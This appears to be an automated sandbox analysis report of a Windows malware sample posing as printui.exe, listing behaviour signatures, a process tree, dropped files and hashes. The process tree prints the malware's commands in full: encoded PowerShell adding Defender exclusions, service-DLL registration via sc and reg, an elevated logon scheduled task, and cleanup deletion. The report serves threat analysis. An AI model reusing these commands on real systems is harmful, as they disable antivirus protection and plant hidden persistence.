Resubmissions

05/11/2024, 23:54

241105-3x67rasbpn8

04/11/2024, 07:02

241104-ht24eawgrd8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2024, 23:54

General

  • Target
    test.zip
  • Size 30.5MB
  • Sample241105-3x67rasbpn
  • SHA256 ea9df543b10ca5df71859a023c71dc2f3ba731554615806fb5d3ef7f667870e7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 14 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 20 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Embeds OpenSSL 2 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\test.zip"
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1528
  • C:\Users\Admin\Desktop\printui.exe
    "C:\Users\Admin\Desktop\printui.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $decoded;"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $decoded;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4148
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4840
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c sc create x123643 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x123643\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x123643.dat" /f && sc start x123643
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\sc.exe
        sc create x123643 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
        3⤵
        • Launches sc.exe
        PID:4612
      • C:\Windows\system32\reg.exe
        reg add HKLM\SYSTEM\CurrentControlSet\services\x123643\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x123643.dat" /f
        3⤵
        • Server Software Component: Terminal Services DLL
        • Modifies registry key
        PID:3120
      • C:\Windows\system32\sc.exe
        sc start x123643
        3⤵
        • Launches sc.exe
        PID:1300
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\System32\console_zero.exe
        "C:\Windows\System32\console_zero.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\System32\cmd.exe
          cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4520
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3440
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows\System32\usvcldr64.dat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Windows\system32\timeout.exe
        timeout /t 16 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:2892
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k DcomLaunch
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\System32\cmd.exe
      cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4808
    • C:\Windows\System32\cmd.exe
      cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:64
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2064
    • C:\Windows\System32\cmd.exe
      cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'G:\'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'G:\'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5020
    • C:\Windows\System32\cmd.exe
      cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'H:\'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'H:\'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4448

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9191424a02c75865d3c4af64b98ad85ededa47d09182101031cdcbe2fea69843
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_1ec5ilyz.cli.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ec5ilyz.cli.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        printui.exe

        • Path C:\Users\Admin\Desktop\printui.exe
        • Size 62KB
        • SHA256 53db039d9d46f2f3f80df42c8ba48bb96ce4fb96c1bfce5cd61514a7ff369411
        • MD5 SHA1 SHA512 SSDEEP

        console_zero.exe

        • Path C:\Windows\System32\console_zero.exe
        • Size 648KB
        • SHA256 d156b6fb93188754452743eec96a090c06bca55331746d567ac3f0b06989403d
        • MD5 SHA1 SHA512 SSDEEP

        libcrypto-3-x64.dll

        • Path C:\Windows\System32\libcrypto-3-x64.dll
        • Size 4.5MB
        • SHA256 dcc1fa1a341597ddb1476e3b5b3952456f07870a26fc30b0c6e6312764baa1fc
        • MD5 SHA1 SHA512 SSDEEP

        libcurl.dll

        • Path C:\Windows\System32\libcurl.dll
        • Size 575KB
        • SHA256 36d97f1c254832cee9698cea2f1a63ea98d231641fd29715ef581be103ace602
        • MD5 SHA1 SHA512 SSDEEP

        libssl-3-x64.dll

        • Path C:\Windows\System32\libssl-3-x64.dll
        • Size 799KB
        • SHA256 ba979c2dbfb35d205d9d28d97d177f33d501d954c7187330f6893bb7d0858713
        • MD5 SHA1 SHA512 SSDEEP

        libwinpthread-1.dll

        • Path C:\Windows\System32\libwinpthread-1.dll
        • Size 51KB
        • SHA256 ffe2d56375bb4e8bdee9037df6befc5016ddd8871d0d85027314dd5792f8fdc9
        • MD5 SHA1 SHA512 SSDEEP

        usvcldr64.dat

        • Path C:\Windows\System32\usvcldr64.dat
        • Size 13.9MB
        • SHA256 c1dd59b7f390eb33530adb1aaef3162efcd1f454f307b18369b9cf76dc29c5a1
        • MD5 SHA1 SHA512 SSDEEP

        zlib1.dll

        • Path C:\Windows\System32\zlib1.dll
        • Size 88KB
        • SHA256 7e9f43688189578042d791e3e5301165316edc7c1ed739e0669c033a3ca08037
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 4KB
        • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9f2aa52b3868d4048e488e243569742aab05df5495fa2f65a8722de9db2a6120
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e18a2dd0c0b4d2deb02c4dc55a64e8fc0d2d6517baee8a745068a300875ea7a4
        • MD5 SHA1 SHA512

        LIBPQ.dll

        • Path \??\c:\windows\system32\LIBPQ.dll
        • Size 319KB
        • SHA256 e6aced8d30471f35b37abbf172ce357b6a8f18af5feb342b6cffc01d3378f2b4
        • MD5 SHA1 SHA512 SSDEEP

        libiconv-2.dll

        • Path \??\c:\windows\system32\libiconv-2.dll
        • Size 1.8MB
        • SHA256 cf131738f4b5fe3f42e9108e24595fc3e6573347d78e4e69ec42106c1eebe42c
        • MD5 SHA1 SHA512 SSDEEP

        libintl-9.dll

        • Path \??\c:\windows\system32\libintl-9.dll
        • Size 464KB
        • SHA256 1125ac8dc0c4f5c3ed4712e0d8ad29474099fcb55bb0e563a352ce9d03ef1d78
        • MD5 SHA1 SHA512 SSDEEP

        winlogsvc

        • Path \??\c:\windows\system32\winsvcf\winlogsvc
        • Size 384B
        • SHA256 8402073e8ffdd0d50925ac59bf75be5507d7b1ffe26ce09b7bd2a214a012eb08
        • MD5 SHA1 SHA512

        x123643.dat

        • Path \??\c:\windows\system32\x123643.dat
        • Size 2.2MB
        • SHA256 1586fda9e1d826439f05e6f68d1e2cf478d71bee1ef86db4f3ae01c55b4a6fd5
        • MD5 SHA1 SHA512 SSDEEP

        memory/1412-80-0x0000000066000000-0x00000000661BD000-memory.dmp

        memory/1412-78-0x0000000068280000-0x00000000682F0000-memory.dmp

        memory/1412-194-0x0000000068280000-0x00000000682F0000-memory.dmp

        memory/1412-79-0x0000000064940000-0x0000000064955000-memory.dmp

        memory/2064-146-0x00000214EA370000-0x00000214EA425000-memory.dmp

        memory/4148-19-0x0000016971110000-0x0000016971132000-memory.dmp

        memory/4808-118-0x000001B63D2E0000-0x000001B63D2FC000-memory.dmp

        memory/4808-120-0x000001B63D320000-0x000001B63D33A000-memory.dmp

        memory/4808-121-0x000001B63D2D0000-0x000001B63D2D8000-memory.dmp

        memory/4808-122-0x000001B63D300000-0x000001B63D306000-memory.dmp

        memory/4808-123-0x000001B63D310000-0x000001B63D31A000-memory.dmp

        memory/4808-119-0x000001B63D2C0000-0x000001B63D2CA000-memory.dmp

        memory/4808-22-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

        memory/4808-117-0x000001B63D090000-0x000001B63D09A000-memory.dmp

        memory/4808-116-0x000001B63D0C0000-0x000001B63D175000-memory.dmp

        memory/4808-8-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

        memory/4808-72-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

        memory/4808-115-0x000001B63D0A0000-0x000001B63D0BC000-memory.dmp

        memory/5020-167-0x000002BCF8DE0000-0x000002BCF8E95000-memory.dmp